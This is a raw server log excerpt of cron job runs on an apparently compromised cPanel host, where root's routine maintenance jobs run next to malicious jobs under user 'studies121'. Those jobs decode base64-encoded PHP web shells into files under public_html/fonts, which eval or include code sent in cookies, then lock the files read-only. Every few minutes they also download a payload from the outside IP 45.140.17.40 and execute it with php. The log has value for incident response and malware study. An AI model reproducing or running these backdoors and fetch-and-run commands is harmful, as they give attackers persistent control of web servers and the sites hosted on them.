Sep 11 01:32:01 ip-184-168-122-23 CROND[8653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:32:01 ip-184-168-122-23 CROND[8656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:33:01 ip-184-168-122-23 CROND[8733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:33:01 ip-184-168-122-23 CROND[8735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:33:01 ip-184-168-122-23 CROND[8737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:33:01 ip-184-168-122-23 CROND[8736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:34:01 ip-184-168-122-23 CROND[8830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:34:01 ip-184-168-122-23 CROND[8832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:34:01 ip-184-168-122-23 CROND[8834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:34:01 ip-184-168-122-23 CROND[8833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:34:01 ip-184-168-122-23 CROND[8835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:35:01 ip-184-168-122-23 CROND[8932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:35:01 ip-184-168-122-23 CROND[8934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:35:01 ip-184-168-122-23 CROND[8936]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 01:35:01 ip-184-168-122-23 CROND[8937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:35:01 ip-184-168-122-23 CROND[8938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:35:01 ip-184-168-122-23 CROND[8935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:35:01 ip-184-168-122-23 CROND[8940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:35:01 ip-184-168-122-23 CROND[8941]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:36:01 ip-184-168-122-23 CROND[9047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:36:01 ip-184-168-122-23 CROND[9049]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:36:01 ip-184-168-122-23 CROND[9050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:36:01 ip-184-168-122-23 CROND[9051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:36:01 ip-184-168-122-23 CROND[9052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:37:01 ip-184-168-122-23 CROND[9220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:37:01 ip-184-168-122-23 CROND[9222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:37:01 ip-184-168-122-23 CROND[9224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:37:01 ip-184-168-122-23 CROND[9225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:38:01 ip-184-168-122-23 CROND[9308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:38:01 ip-184-168-122-23 CROND[9310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:38:01 ip-184-168-122-23 CROND[9312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:38:01 ip-184-168-122-23 CROND[9313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:38:01 ip-184-168-122-23 CROND[9314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:39:01 ip-184-168-122-23 CROND[9401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:39:01 ip-184-168-122-23 CROND[9403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:39:01 ip-184-168-122-23 CROND[9405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:39:01 ip-184-168-122-23 CROND[9404]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 01:39:01 ip-184-168-122-23 CROND[9406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:40:01 ip-184-168-122-23 CROND[9495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:40:01 ip-184-168-122-23 CROND[9496]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:40:01 ip-184-168-122-23 CROND[9497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:40:01 ip-184-168-122-23 CROND[9502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:40:01 ip-184-168-122-23 CROND[9503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:40:01 ip-184-168-122-23 CROND[9505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:40:01 ip-184-168-122-23 CROND[9506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:40:01 ip-184-168-122-23 CROND[9510]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:41:01 ip-184-168-122-23 CROND[9617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:41:01 ip-184-168-122-23 CROND[9618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:41:01 ip-184-168-122-23 CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:41:01 ip-184-168-122-23 CROND[9620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:42:01 ip-184-168-122-23 CROND[9704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:42:01 ip-184-168-122-23 CROND[9709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:42:01 ip-184-168-122-23 CROND[9706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:42:01 ip-184-168-122-23 CROND[9707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:42:01 ip-184-168-122-23 CROND[9708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:43:01 ip-184-168-122-23 CROND[9793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:43:01 ip-184-168-122-23 CROND[9795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:43:01 ip-184-168-122-23 CROND[9796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:43:01 ip-184-168-122-23 CROND[9794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:44:01 ip-184-168-122-23 CROND[9956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:44:01 ip-184-168-122-23 CROND[9958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:44:01 ip-184-168-122-23 CROND[9959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:44:01 ip-184-168-122-23 CROND[9960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
